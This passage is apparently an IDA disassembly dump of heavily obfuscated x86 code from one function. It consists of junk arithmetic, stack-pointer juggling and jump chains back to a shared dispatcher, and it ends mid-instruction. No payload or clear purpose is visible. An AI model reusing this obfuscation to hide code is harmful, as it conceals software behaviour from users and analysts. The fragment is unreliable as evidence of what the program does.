--------------------------------------------------------------------------- loc_599137: ; CODE XREF: sub_580566+15781j push eax push edi sub esp, 4 mov [esp-2Ch+arg_24], ebp push edx jmp loc_59798E ; --------------------------------------------------------------------------- loc_599148: ; CODE XREF: sub_580566+11345j pop [esp-4Ch+arg_44] jmp loc_595B7B ; --------------------------------------------------------------------------- mov ax, word ptr [esp-50h+arg_48] push 3C66h mov [esp-4Ch+arg_44], ebx push esp pop ebx add ebx, 4 push 5F12h mov [esp-48h+arg_40], esi jmp loc_593D32 ; --------------------------------------------------------------------------- loc_599171: ; CODE XREF: sub_580566+1CCA2j sub edi, 85DC981Ch jmp loc_597F4D ; --------------------------------------------------------------------------- loc_59917C: ; CODE XREF: sub_580566+1CB8Dj mov ecx, 5FB11D17h mov edx, ecx mov ecx, [esp-48h+arg_40] jmp loc_5929BF ; --------------------------------------------------------------------------- loc_59918B: ; CODE XREF: sub_580566+237D5j sub esp, 4 mov [esp-44h+arg_3C], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-44h+arg_3C] pop esp mov [esp-48h+arg_40], ebp mov ebp, 741D4006h sub ebp, 35F86DE5h sub ebp, 247D8970h mov ebx, ebp pop ebp push ebp jmp loc_59756E ; --------------------------------------------------------------------------- loc_5991C0: ; CODE XREF: sub_580566+22D9Dj pop [esp-48h+arg_40] pop esp mov [esp-50h+arg_48], esp push ecx push ebx mov ebx, 4 mov ecx, ebx mov ebx, [esp-48h+arg_40] add esp, 4 add [esp-4Ch+arg_48], ecx jmp loc_597793 ; --------------------------------------------------------------------------- loc_5991DF: ; CODE XREF: sub_580566+16D72j pop esi mov edx, [esp-3Ah+arg_30+2] jmp loc_59A1AC ; --------------------------------------------------------------------------- loc_5991E8: ; CODE XREF: sub_580566+20DA0j xor [esp-3Ah+arg_30+2], eax xor eax, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] push dword ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5991F8: ; CODE XREF: sub_580566+1EE79j sub dl, 0FFh push ax push edx mov dh, 89h push ebx push 5969h mov [esp-28h+arg_20], ecx jmp loc_5A5B85 ; --------------------------------------------------------------------------- loc_59920E: ; CODE XREF: sub_580566+199BEj mov esp, [esp-28h+arg_20] test cx, ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59921A: ; CODE XREF: sub_580566+228FEj sub ebx, eax pop eax add ebx, eax add ebx, 1F0D4C65h jmp loc_595E89 ; --------------------------------------------------------------------------- loc_59922A: ; CODE XREF: sub_580566+23408j mov dh, 0A2h sub al, dh jmp loc_59E257 ; --------------------------------------------------------------------------- loc_599233: ; CODE XREF: sub_580566+1132Dj add ebp, 4B9F56B8h pop edx sub edx, 34013C1Eh jmp loc_59A8E5 ; --------------------------------------------------------------------------- loc_599245: ; CODE XREF: sub_580566+16CD2j mov dl, 0A2h xor dl, 47h sub bl, dl pop edx sub al, 3Eh add al, bl push 5F20h mov [esp-44h+arg_3C], ecx mov ch, 0B6h neg ch push edx mov dh, 0C5h shr dh, 3 add dh, 0B3h jmp loc_59E90D ; --------------------------------------------------------------------------- loc_59926B: ; CODE XREF: sub_580566+1F4E7j add ecx, 4 sub ecx, 4 jmp loc_5A3973 ; --------------------------------------------------------------------------- loc_599279: ; CODE XREF: sub_580566+172D0j pop ebp push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax jmp loc_5A038F ; --------------------------------------------------------------------------- loc_59928B: ; CODE XREF: sub_580566+13EE0j xchg ebx, [esp-2Ch+arg_24] pop esp jmp loc_59210A ; --------------------------------------------------------------------------- loc_599294: ; CODE XREF: sub_580566+1AE0Ej push ebx push edx mov edx, 9B549Ah inc edx and edx, 3EC77BD1h xor edx, 2B477688h mov ebx, edx pop edx jmp loc_593D6D ; --------------------------------------------------------------------------- loc_5992B0: ; CODE XREF: sub_580566+1C799j push eax jmp loc_595443 ; --------------------------------------------------------------------------- loc_5992B6: ; CODE XREF: sub_580566+12F5Dj add ebp, 0FF0ACD3h jmp loc_59E720 ; --------------------------------------------------------------------------- loc_5992C1: ; CODE XREF: sub_580566+173AEj pop edx jmp loc_599524 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_592A04 ; --------------------------------------------------------------------------- loc_5992DB: ; CODE XREF: sub_580566+1C436j pop esi jmp loc_5A4603 ; --------------------------------------------------------------------------- loc_5992E1: ; CODE XREF: sub_580566+252B9j mov [esp+0], esp add dword ptr [esp+0], 4 pop dword ptr [esp+0] add [esp-14h+arg_A+2], 4 push [esp-14h+arg_A+2] pop edi jmp loc_5A39F7 ; --------------------------------------------------------------------------- loc_5992FB: ; CODE XREF: sub_580566+124B1j pop ebp push edi push esi mov esi, 47B720FFh jmp loc_5A5836 ; --------------------------------------------------------------------------- loc_599308: ; CODE XREF: sub_580566+24A66j push ebp jmp loc_59AD79 ; --------------------------------------------------------------------------- loc_59930E: ; CODE XREF: sub_580566+14E02j mov esp, [esp-46h+arg_3C+2] mov word ptr [esp-46h+arg_3C+2], dx push ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59931D: ; CODE XREF: sub_580566+1DB66j push ebp mov ebp, 4 sub esi, 507C7120h jmp loc_59943F ; --------------------------------------------------------------------------- loc_59932E: ; CODE XREF: sub_580566+255E4j push 35F6h mov [esp-38h+arg_30], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59933B: ; CODE XREF: sub_580566+12039j add esp, 4 add edx, 34AB499Eh push ebx push eax mov eax, 1FF91478h not eax add eax, 3F22CF9h xor eax, 0C3A72ED5h mov ebx, eax pop eax sub ebx, 16E3CA74h add edx, ebx pop ebx jmp loc_599E9E ; --------------------------------------------------------------------------- loc_599368: ; CODE XREF: sub_580566+17019j or ebp, 3B92466h neg ebp not ebp xor ebp, 5E1EBD6Bh xor ebx, ebp pop ebp push esi push ebx add [esp-42h+arg_38+2], 2B0929A9h jmp loc_5A187E ; --------------------------------------------------------------------------- loc_599389: ; CODE XREF: sub_580566+1A5ACj add edi, 10405A31h sub edi, edx push ecx mov ecx, 10405A31h sub edi, ecx pop ecx push [esp-42h+arg_38+2] pop edx push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp-3Eh+arg_34+2] pop esp jmp loc_59288D ; --------------------------------------------------------------------------- loc_5993B6: ; CODE XREF: sub_580566+13438j add ebp, 19E69D2h jmp loc_59DFDA ; --------------------------------------------------------------------------- loc_5993C1: ; CODE XREF: sub_580566+19DC9j pop ebx push 24E2h mov [esp-24h+arg_1A+2], ebx push edx push eax mov al, 51h mov dl, 0Dh add dl, al pop eax shl dl, 2 xor dl, 0C5h add dl, 0DFh neg dl add dl, 0C4h add dl, 0FFh shr dl, 6 push ebx jmp loc_59B8B6 ; --------------------------------------------------------------------------- loc_5993ED: ; CODE XREF: sub_580566+13802j mov esp, [esp-3Eh+arg_34+2] push eax mov eax, esp jmp loc_59A79E ; --------------------------------------------------------------------------- loc_5993F8: ; CODE XREF: sub_580566+1691Aj sub edx, 4801289Fh push edi mov edi, 75D469AEh xor edi, 463860D8h add edi, 237743ECh xor edi, 5D584FDBh add edi, 301633D6h xor edi, 0AC53CF4h add edx, edi pop edi mov ebx, [esp-36h+arg_2C+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-32h+arg_28+2] jmp loc_59D412 ; --------------------------------------------------------------------------- loc_59943F: ; CODE XREF: sub_580566+18DC3j add esi, ebp add esi, 507C7120h pop ebp xchg esi, [esp-40h+arg_38] pop esp or edx, eax jmp loc_59FF0D ; --------------------------------------------------------------------------- loc_599453: ; CODE XREF: sub_580566+24950j add eax, 1 jmp loc_597480 ; --------------------------------------------------------------------------- loc_59945D: ; CODE XREF: sub_580566+217D1j add ebp, edi jmp loc_59EF98 ; --------------------------------------------------------------------------- loc_599464: ; CODE XREF: sub_580566+20CCCj mov edx, 17DD352Fh and edx, 24785D62h xor edx, 10494E61h sub edx, 5FA06520h shr edx, 4 push ecx push eax jmp loc_59A875 ; --------------------------------------------------------------------------- loc_599485: ; CODE XREF: sub_580566+15075j add esp, 4 push esi push 197h mov [esp-48h+arg_40], eax push edi mov edi, 188335CDh mov eax, 25F0FC12h add eax, edi jmp loc_596F30 ; --------------------------------------------------------------------------- loc_5994A6: ; CODE XREF: sub_580566+22795j mov eax, 4778168Dh sub eax, 47781689h add ebp, eax pop eax add ebp, 4 jmp loc_597198 ; --------------------------------------------------------------------------- loc_5994BE: ; CODE XREF: sub_580566+175B0j xor ebp, 4D803E3Bh jmp loc_595877 ; --------------------------------------------------------------------------- loc_5994C9: ; CODE XREF: sub_580566+12487j mov esi, ecx pop ecx jmp loc_5A3524 ; --------------------------------------------------------------------------- loc_5994D1: ; CODE XREF: sub_580566+10957j pop edx push esi mov esi, 4 add edi, esi mov esi, [esp-3Eh+arg_34+2] add esp, 4 jmp loc_59D8EA ; --------------------------------------------------------------------------- loc_5994E8: ; CODE XREF: sub_580566+1D729j mov edi, 0B15767Dh neg edi jmp loc_592EC0 ; --------------------------------------------------------------------------- loc_5994F4: ; CODE XREF: sub_580566+1A82Fj mov bh, dl pop edx pop ecx shl bh, 6 or bh, 72h shr bh, 6 push ax jmp loc_5A3CF9 ; --------------------------------------------------------------------------- loc_599508: ; CODE XREF: sub_580566+1362Fj shl edx, 5 xor edx, 1000004h push edx jmp loc_5A3B68 ; --------------------------------------------------------------------------- loc_599517: ; CODE XREF: sub_580566+23719j mov bl, ch jmp loc_59D190 ; --------------------------------------------------------------------------- loc_59951E: ; CODE XREF: sub_580566+16A71j pop esp jmp loc_5A5B9C ; --------------------------------------------------------------------------- loc_599524: ; CODE XREF: sub_580566+18D5Cj xchg edx, [esp-14h+arg_A+2] jmp loc_5A3062 ; --------------------------------------------------------------------------- loc_59952C: ; CODE XREF: sub_580566+1F1B1j pop edx add ebx, 18781B1Eh sub ebx, edi push edi mov edi, 18781B1Eh sub ebx, edi pop edi add ebx, 9332AFFh pop edi push 82Dh mov [esp-18h+arg_E+2], ebp mov ebp, 480C637Ch add ebx, 6B842E6Dh add ebx, ebp sub ebx, 6B842E6Dh pop ebp jmp loc_59FD11 ; --------------------------------------------------------------------------- loc_599566: ; CODE XREF: sub_580566+1719Fj add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp-3Ch+arg_34] pop esp and eax, edx jmp loc_5A25C5 ; --------------------------------------------------------------------------- loc_59957F: ; CODE XREF: sub_580566+15CE7j sub esi, edi pop edi xchg esi, [esp-3Ah+arg_30+2] pop esp mov [esp-3Eh+arg_34+2], esi mov esi, 6B0B4695h push 143h mov [esp-3Ah+arg_30+2], edx push ebp mov ebp, 0EE8C1A9Ch mov edx, ebp pop ebp add esi, edx pop edx mov ecx, esi push [esp-3Eh+arg_34+2] pop esi add esp, 4 add eax, 4A4233DDh jmp loc_5A01FF ; --------------------------------------------------------------------------- loc_5995B5: ; CODE XREF: sub_580566+19B3Aj mov ebp, [esp-42h+arg_38+2] add esp, 4 add esi, edi sub esi, 486636B3h pop edi or [edi+1Ch], esi pop esi jmp loc_5A1E47 ; --------------------------------------------------------------------------- loc_5995D0: ; CODE XREF: sub_580566+189BDj add eax, esi pop esi add eax, 2 push eax jmp loc_59AB68 ; --------------------------------------------------------------------------- loc_5995DE: ; CODE XREF: sub_580566+193E9j xor [esp-2Eh+arg_24+2], eax jmp loc_5A0914 ; --------------------------------------------------------------------------- loc_5995E6: ; CODE XREF: sub_580566+1A127j pop ebp add esp, 4 push eax mov eax, 2757298Ah sub [esp-32h+arg_30+2], eax jmp loc_59A5A7 ; --------------------------------------------------------------------------- loc_5995FC: ; CODE XREF: sub_580566+1BE21j sub esp, 4 mov [esp-2Eh+arg_24+2], ebx mov bl, 4 xor bl, 0BDh push eax jmp loc_5A2A02 ; --------------------------------------------------------------------------- loc_59960D: ; CODE XREF: sub_580566+12860j pop esp shr edi, 7 inc edi jmp loc_599802 ; --------------------------------------------------------------------------- loc_599617: ; CODE XREF: sub_580566+1425Fj push edi dec [esp-1Eh+arg_16] pop edi jmp loc_5A352B ; --------------------------------------------------------------------------- loc_599621: ; CODE XREF: sub_580566+1522Dj sub ebp, edi pop edi sub edx, 6C1A6A53h add edx, ebp push ecx jmp loc_598791 ; --------------------------------------------------------------------------- loc_599632: ; CODE XREF: sub_580566+1A558j mov cl, 0F2h jmp loc_59657B ; --------------------------------------------------------------------------- loc_599639: ; CODE XREF: sub_580566+2200Bj add ebx, 557275EEh pop esi xchg ebx, [esp-14h+arg_A+2] pop esp push 68F2h mov [esp-14h+arg_A+2], edi jmp loc_5A2ECF ; --------------------------------------------------------------------------- loc_599651: ; CODE XREF: sub_580566+1CC71j add edi, 68B414DDh jmp loc_5978DC ; --------------------------------------------------------------------------- loc_59965C: ; CODE XREF: sub_580566+22233j push edx push 1F3432F8h pop edx push ebx mov ebx, 5A6F408Bh add esi, ebx jmp loc_59D24E ; --------------------------------------------------------------------------- loc_599670: ; CODE XREF: sub_580566+1E8DCj xor edi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], edi xor edi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] push 52CCh mov [esp-8+arg_4], ecx push edx push eax mov al, 4Bh jmp loc_595552 ; --------------------------------------------------------------------------- loc_59968D: ; CODE XREF: sub_580566+10BC2j add esp, 4 add ebp, 454469Fh push esi mov esi, 72140F67h add esi, 0D6F52394h jmp loc_591CF4 ; --------------------------------------------------------------------------- loc_5996AA: ; CODE XREF: sub_580566+24137j pop eax sub esp, 4 mov [esp-3Ch+arg_34], edi jmp loc_5A25A7 ; --------------------------------------------------------------------------- loc_5996B6: ; DATA XREF: sub_580566+1026Eo mov ax, word ptr [esp-3Ch+arg_34] push ebx push esp jmp loc_5943BA ; --------------------------------------------------------------------------- loc_5996C1: ; CODE XREF: sub_580566+23304j mov [esp-34h+arg_2C], edx mov edx, 9C5CE7h sub esi, edx mov edx, [esp-34h+arg_2C] jmp loc_59903C ; --------------------------------------------------------------------------- loc_5996D3: ; CODE XREF: sub_580566+1E8FAj xchg eax, [esp-34h+arg_2C] pop esp xor [esp-38h+arg_30], edx jmp loc_59A692 ; --------------------------------------------------------------------------- loc_5996DF: ; CODE XREF: sub_580566+1314Dj xor ecx, 2E7B5133h add eax, ecx jmp loc_5A1E93 ; --------------------------------------------------------------------------- loc_5996EC: ; CODE XREF: sub_580566+197CFj mov [esp-20h+arg_16+2], edx jmp loc_591A13 ; --------------------------------------------------------------------------- loc_5996F4: ; CODE XREF: sub_580566+12D93j mov esi, 954043Eh sub esp, 4 mov [esp-42h+arg_38+2], ebp mov ebp, 56E842ACh and esi, ebp pop ebp shr esi, 1 shr esi, 2 jmp loc_595A89 ; --------------------------------------------------------------------------- loc_599714: ; CODE XREF: sub_580566+248EFj push [esp-46h+arg_3C+2] jmp loc_59BEE0 ; --------------------------------------------------------------------------- loc_59971C: ; CODE XREF: sub_580566+2209Bj add edx, 4 xor edx, [esp-42h+arg_38+2] xor [esp-42h+arg_38+2], edx xor edx, [esp-42h+arg_38+2] pop esp add esp, 4 pop [esp-4Ah+arg_40+2] pop esp jmp loc_5A46EC ; --------------------------------------------------------------------------- loc_599735: ; CODE XREF: sub_580566+1DB98j mov eax, [esp-52h+arg_48+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-4Eh+arg_44+2] pop esp jmp loc_59AE99 ; --------------------------------------------------------------------------- loc_59974D: ; CODE XREF: sub_580566+15642j inc ebx dec ebx xor ebx, 2FC652DEh jmp loc_593C29 ; --------------------------------------------------------------------------- loc_59975A: ; CODE XREF: sub_580566+1B111j pop ecx not edi and edi, 1BA43FEAh sub edi, 6190643Fh xor edi, 9F6F9BE0h add ecx, edi mov edi, [esp-38h+arg_30] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59FD5B ; --------------------------------------------------------------------------- loc_599785: ; CODE XREF: sub_580566+1BCFBj not esi xor esi, 6163149Eh jmp loc_59EB5E ; --------------------------------------------------------------------------- loc_599792: ; CODE XREF: sub_580566+1F72Bj xchg edi, [esp-34h+arg_2C] jmp loc_599E0A ; --------------------------------------------------------------------------- loc_59979A: ; CODE XREF: sub_580566+1BD96j push eax mov eax, 6C2A0221h push eax jmp loc_59EFE6 ; --------------------------------------------------------------------------- loc_5997A6: ; CODE XREF: sub_580566+1E3ADj add dh, 0A5h add ch, dh pop edx jmp loc_5985E3 ; --------------------------------------------------------------------------- loc_5997B1: ; CODE XREF: sub_580566+1C141j push ebx mov bl, ch mov dl, bl jmp loc_591868 ; --------------------------------------------------------------------------- loc_5997BB: ; CODE XREF: sub_580566+1E2ACj sub eax, 53707668h sub eax, edi push ebp mov ebp, 53707668h add eax, ebp pop ebp mov edi, [esp-2Ch+arg_24] add esp, 4 push ebp push esi jmp loc_5A2F68 ; --------------------------------------------------------------------------- loc_5997DB: ; CODE XREF: sub_580566+14BA3j pop ebp push small word ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5997E4: ; DATA XREF: sub_580566+10466o lodsd cmp dword ptr [edi+20h], 0 jz loc_5A1E52 push eax mov eax, 0C1A4DB7h add eax, 1A78DA6Eh add esi, eax pop eax jmp loc_5A1348 ; --------------------------------------------------------------------------- loc_599802: ; CODE XREF: sub_580566+190ACj push 7C9Bh mov [esp-30h+arg_28], ebp jmp loc_59BD81 ; --------------------------------------------------------------------------- loc_59980F: ; CODE XREF: sub_580566+14EF1j xor ax, 2733h sub ax, 0AD47h sub bp, ax mov eax, [esp-44h+arg_3C] add esp, 4 add bp, 3F18h xor di, bp pop bp sub ax, di pop edi push small 6473h jmp loc_59762A ; --------------------------------------------------------------------------- loc_599837: ; CODE XREF: sub_580566+1AAC1j add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_599842: ; CODE XREF: sub_580566+13E3Dj push eax mov eax, 4 jmp loc_59CBE0 ; --------------------------------------------------------------------------- loc_59984D: ; CODE XREF: sub_580566+1BB57j push ebp mov ebp, 10CA03B6h mov ebx, ebp mov ebp, [esp-20h+arg_16+2] add esp, 4 sub ebx, 6F836E81h not ebx jmp loc_59C151 ; --------------------------------------------------------------------------- loc_59986B: ; CODE XREF: sub_580566+2205Aj pop ebp sub esp, 4 jmp loc_5A2DDB ; --------------------------------------------------------------------------- loc_599877: ; CODE XREF: sub_580566+10E03j pop edi jmp loc_59B2CB ; --------------------------------------------------------------------------- loc_59987D: ; CODE XREF: sub_580566+10BBAj inc eax jmp loc_59868C ; --------------------------------------------------------------------------- loc_599883: ; CODE XREF: sub_580566+24237j mov [esp-3Ch+arg_34], edx sub esp, 4 jmp loc_59D0F0 ; --------------------------------------------------------------------------- loc_59988E: ; CODE XREF: sub_580566+19C1Cj pop ebp add [esp-3Ch+arg_38], edx mov edx, [esp-3Ch+arg_34] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5998A1: ; CODE XREF: sub_580566+211CAj or edi, 686709E4h or edi, 2DC17F93h shr edi, 1 push edx mov edx, 0E32B2F59h sub edi, edx jmp loc_5A2676 ; --------------------------------------------------------------------------- loc_5998BC: ; CODE XREF: sub_580566+1D679j xchg esi, edi jmp loc_59C9D8 ; --------------------------------------------------------------------------- loc_5998C3: ; CODE XREF: sub_580566+22E46j sub edi, 28B444E8h sub edi, 5A630F88h pop edx sub esp, 4 jmp loc_5A1499 ; --------------------------------------------------------------------------- loc_5998D8: ; CODE XREF: sub_580566+114F1j mov [esp-32h+arg_28+2], ebp push 4 pop ebp push ebx mov ebx, 46F7741h jmp loc_59C349 ; --------------------------------------------------------------------------- loc_5998EC: ; CODE XREF: sub_580566+24637j xor esi, 5E171FE8h sub edx, esi mov esi, [esp-2Eh+arg_24+2] add esp, 4 add edx, eax add edx, 22613F2Dh push 7C8h mov [esp-2Eh+arg_24+2], ebp push ebx mov ebx, 24BA4DAEh push eax mov eax, 44B3269Dh jmp loc_59DE3E ; --------------------------------------------------------------------------- loc_59991E: ; CODE XREF: sub_580566+166B7j mov [esp-20h+arg_16+2], edi mov edi, 38D41BF7h add edi, 0C72BE40Bh jmp loc_5A54D9 ; --------------------------------------------------------------------------- loc_599931: ; CODE XREF: sub_580566+20FDFj pop ebp push edx mov edx, 2F9146C6h shl edx, 4 push eax jmp loc_5A3B57 ; --------------------------------------------------------------------------- loc_599941: ; CODE XREF: sub_580566+135C6j add eax, edi mov edi, [esp-2Ch+arg_24] add esp, 4 xor eax, [esp-30h+arg_28] jmp loc_5995DE ; --------------------------------------------------------------------------- loc_599954: ; CODE XREF: sub_580566+19662j xor edi, 26524308h jmp loc_59D3B4 ; --------------------------------------------------------------------------- loc_59995F: ; CODE XREF: sub_580566+1BA01j sub edx, 4 xchg edx, [esp-30h+arg_28] pop esp mov [esp-34h+arg_2C], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-34h+arg_2C] pop esp jmp loc_59D014 ; --------------------------------------------------------------------------- loc_59997D: ; CODE XREF: sub_580566+1C973j xor edx, eax pop eax sub edx, 1 not edx jmp loc_59B727 ; --------------------------------------------------------------------------- loc_59998D: ; CODE XREF: sub_580566+1E466j push eax mov eax, 76EE1F67h or eax, 3C5D4A59h and eax, 3E0B471Fh neg eax jmp loc_594BA0 ; --------------------------------------------------------------------------- loc_5999A4: ; CODE XREF: sub_580566+24522j push ebx mov ebx, 56044C50h xor eax, ebx pop ebx jmp loc_59CAC4 ; --------------------------------------------------------------------------- loc_5999B2: ; CODE XREF: sub_580566+205B8j pop [esp-38h+arg_30] pop esp jmp loc_5955FA ; --------------------------------------------------------------------------- loc_5999BB: ; CODE XREF: sub_580566+1966Fj add esp, 4 push ebp push [esp-40h+arg_3C] pop ebp pop [esp-40h+arg_38] mov esp, [esp-44h+arg_3C] sub word ptr [esp-44h+arg_3C], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5999D4: ; CODE XREF: sub_580566+228DDj push 75EBh mov [esp-3Ch+arg_34], edx mov edx, 4 jmp loc_591B9E ; --------------------------------------------------------------------------- loc_5999E6: ; CODE XREF: sub_580566+1C74Dj push ebx mov ebx, 758F2FCEh and ebp, ebx pop ebx push ebx mov ebx, 266454CBh sub ebp, ebx pop ebx xor ebp, 0C44CD2DEh jmp loc_597998 ; --------------------------------------------------------------------------- loc_599A03: ; CODE XREF: sub_580566+16421j mov edx, 25813EB2h jmp loc_593BA9 ; --------------------------------------------------------------------------- loc_599A0D: ; CODE XREF: sub_580566+10899j neg ebp not ebp inc ebp add ebp, 229B1ABDh and ebp, 0AE03E73h add ebp, 0FFFFFFFFh xor ebp, 438B52D5h xor ebp, 32771CBDh inc ebp sub ebp, 791C7E17h add ebx, ebp jmp loc_5A1E10 ; --------------------------------------------------------------------------- loc_599A3B: ; CODE XREF: sub_580566+1668Fj pop ecx pop [esp-44h+arg_3C] mov esp, [esp-48h+arg_40] mov [esp-48h+arg_40], ebx push [esp-48h+arg_40] mov eax, [esp-44h+arg_3C] add esp, 4 push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5A428D ; --------------------------------------------------------------------------- loc_599A5F: ; CODE XREF: sub_580566+180BCj push edx mov edx, esp add edx, 4 jmp loc_591D35 ; --------------------------------------------------------------------------- loc_599A6D: ; CODE XREF: sub_580566+21DF6j push esp jmp loc_5939A3 ; --------------------------------------------------------------------------- loc_599A73: ; CODE XREF: sub_580566+1BB38j add esi, 17FD48EEh jmp loc_59B9ED ; --------------------------------------------------------------------------- loc_599A7E: ; CODE XREF: sub_580566+125F1j mov edi, ebp pop ebp neg edi add edi, 0FFFFFFFFh jmp loc_59B8CD ; --------------------------------------------------------------------------- loc_599A8B: ; CODE XREF: sub_580566+159EFj xchg eax, [esp-2Eh+arg_24+2] pop esp jmp loc_59677E ; --------------------------------------------------------------------------- loc_599A94: ; CODE XREF: sub_580566+21690j xchg esi, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] jmp loc_5A2552 ; --------------------------------------------------------------------------- loc_599A9F: ; CODE XREF: sub_580566+1D5E0j pop esi sub esp, 4 mov [esp-32h+arg_28+2], ecx push esi mov esi, eax mov ecx, esi jmp loc_5A1F15 ; --------------------------------------------------------------------------- loc_599AB3: ; CODE XREF: sub_580566+18604j xor edi, 193373D5h xor edx, edi pop edi sub edx, 60393FA1h and edx, 612E0A6Bh push esi mov esi, 547C6A84h jmp loc_59B84C ; --------------------------------------------------------------------------- loc_599AD3: ; CODE XREF: sub_580566+1AD81j push [esp-34h+arg_2C] pop eax push 37F5h jmp loc_59CD67 ; --------------------------------------------------------------------------- loc_599AE1: ; DATA XREF: sub_580566+10442o lodsd push edi mov edi, 7CDC3675h jmp loc_59C519 ; --------------------------------------------------------------------------- loc_599AED: ; CODE XREF: sub_580566+1B7C0j add ebp, 4 jmp loc_5917A9 ; --------------------------------------------------------------------------- loc_599AF5: ; CODE XREF: sub_580566+229C3j pop ebx push edi mov edi, 4 add ebx, edi jmp loc_5A4F5D ; --------------------------------------------------------------------------- loc_599B03: ; CODE XREF: sub_580566+24098j add esi, 4 sub esi, 4 xchg esi, [esp-2Ch+arg_24] pop esp mov [esp-30h+arg_28], edi jmp loc_592D97 ; --------------------------------------------------------------------------- loc_599B1B: ; CODE XREF: sub_580566+21B4Ej mov ebx, 79E2005Dh push esi mov esi, 7FBD30BCh xor esi, 720A79CEh jmp loc_5952FF ; --------------------------------------------------------------------------- loc_599B31: ; CODE XREF: sub_580566+1A9CDj push eax pop ebp mov eax, [esp-2Ch+arg_24] add esp, 4 jmp loc_592EE6 ; --------------------------------------------------------------------------- loc_599B41: ; CODE XREF: sub_580566+1A1ECj pop ebp not ebp jmp loc_59689D ; --------------------------------------------------------------------------- loc_599B49: ; CODE XREF: sub_580566+13EB2j add ebx, 4 xor ebx, [esp-30h+arg_28] xor [esp-30h+arg_28], ebx xor ebx, [esp-30h+arg_28] mov esp, [esp-30h+arg_28] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_599B5D: ; CODE XREF: sub_580566+19EC6j pop ebp jmp loc_59D25A ; --------------------------------------------------------------------------- loc_599B63: ; CODE XREF: sub_580566+1983Dj mov dh, ch mov [edi+eax*4], dh pop edx push [esp-38h+arg_30] jmp loc_5A08AD ; --------------------------------------------------------------------------- loc_599B71: ; CODE XREF: sub_580566+157DBj pop ebx jmp loc_59D19B ; --------------------------------------------------------------------------- loc_599B77: ; CODE XREF: sub_580566+1CC53j mov [esp-4Ch+arg_44], esi mov si, 7428h jmp loc_59B187 ; --------------------------------------------------------------------------- loc_599B83: ; CODE XREF: sub_580566+22FB9j mov edx, [esp-4Ch+arg_44] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp-48h+arg_40] xor [esp-48h+arg_40], ebx xor ebx, [esp-48h+arg_40] mov esp, [esp-48h+arg_40] add [esp-48h+arg_40], eax sub esp, 4 mov [esp-44h+arg_3C], ecx jmp loc_5A15F1 ; --------------------------------------------------------------------------- loc_599BAF: ; CODE XREF: sub_580566+11722j mov eax, 6DC24538h sub esp, 4 mov [esp-28h+arg_20], edi mov edi, 68F43A08h sub edi, 67A27881h jmp loc_599954 ; --------------------------------------------------------------------------- loc_599BCD: ; CODE XREF: sub_580566+1DFE3j sub edx, edi pop edi add ebp, edx mov edx, [esp-2Ch+arg_24] jmp loc_5999BB ; --------------------------------------------------------------------------- loc_599BDA: ; CODE XREF: sub_580566+128B1j push 36EBh mov [esp-28h+arg_20], ecx mov ecx, 2000000h push ebx jmp loc_595BD0 ; --------------------------------------------------------------------------- loc_599BED: ; CODE XREF: sub_580566+23040j pop ebp push esi mov esi, esp jmp loc_5A0A4A ; --------------------------------------------------------------------------- loc_599BF6: ; CODE XREF: sub_580566+19BB3j mov ecx, 4 push ecx mov ecx, 29DF605Ah jmp loc_594543 ; --------------------------------------------------------------------------- loc_599C06: ; CODE XREF: sub_580566+13E5Aj push ecx jmp loc_593308 ; --------------------------------------------------------------------------- loc_599C0C: ; CODE XREF: sub_580566+1F594j not ecx add ecx, 0D0E14411h add eax, ecx pop ecx jmp loc_59FE56 ; --------------------------------------------------------------------------- loc_599C1C: ; CODE XREF: sub_580566+15D73j mov edi, [esp-32h+arg_28+2] add esp, 4 push esi mov esi, 49006570h sub esi, 3F19779Dh jmp loc_59A11E ; --------------------------------------------------------------------------- loc_599C33: ; CODE XREF: sub_580566+2547Ej mov [esp-32h+arg_28+2], esi jmp loc_594809 ; --------------------------------------------------------------------------- loc_599C3B: ; CODE XREF: sub_580566+2299Ej mov esi, 5ACB21E0h dec esi add esi, 0DC8F13Fh sub edx, esi pop esi add edx, esi add edx, 6894131Eh pop esi sub esp, 4 mov [esp-36h+arg_2C+2], eax push esp jmp loc_5A4F94 ; --------------------------------------------------------------------------- loc_599C62: ; CODE XREF: sub_580566+14852j or edx, 7C877FCBh add edx, 56464956h shr edx, 1 xor edx, 0B4F21B1Eh jmp loc_59EB92 ; --------------------------------------------------------------------------- loc_599C7B: ; CODE XREF: sub_580566+1F3A1j push 4A8Bh mov [esp-22h+arg_1A], ecx push dword ptr [esp+4] pop ecx jmp loc_597919 ; --------------------------------------------------------------------------- loc_599C8D: ; CODE XREF: sub_580566+1D97Fj push edx mov dh, 0F9h push eax jmp loc_5A336E ; --------------------------------------------------------------------------- loc_599C96: ; CODE XREF: sub_580566+1A0EBj pop eax jmp loc_5A4AB3 ; --------------------------------------------------------------------------- loc_599C9C: ; CODE XREF: sub_580566+24877j mov [esp-1Eh+arg_16], esp jmp loc_59A490 ; --------------------------------------------------------------------------- loc_599CA4: ; CODE XREF: sub_580566+1F93Aj pop esi jmp loc_59D1FC ; --------------------------------------------------------------------------- loc_599CAA: ; CODE XREF: sub_580566+1FA03j pop esp xor [edx+30h], esi push dword ptr 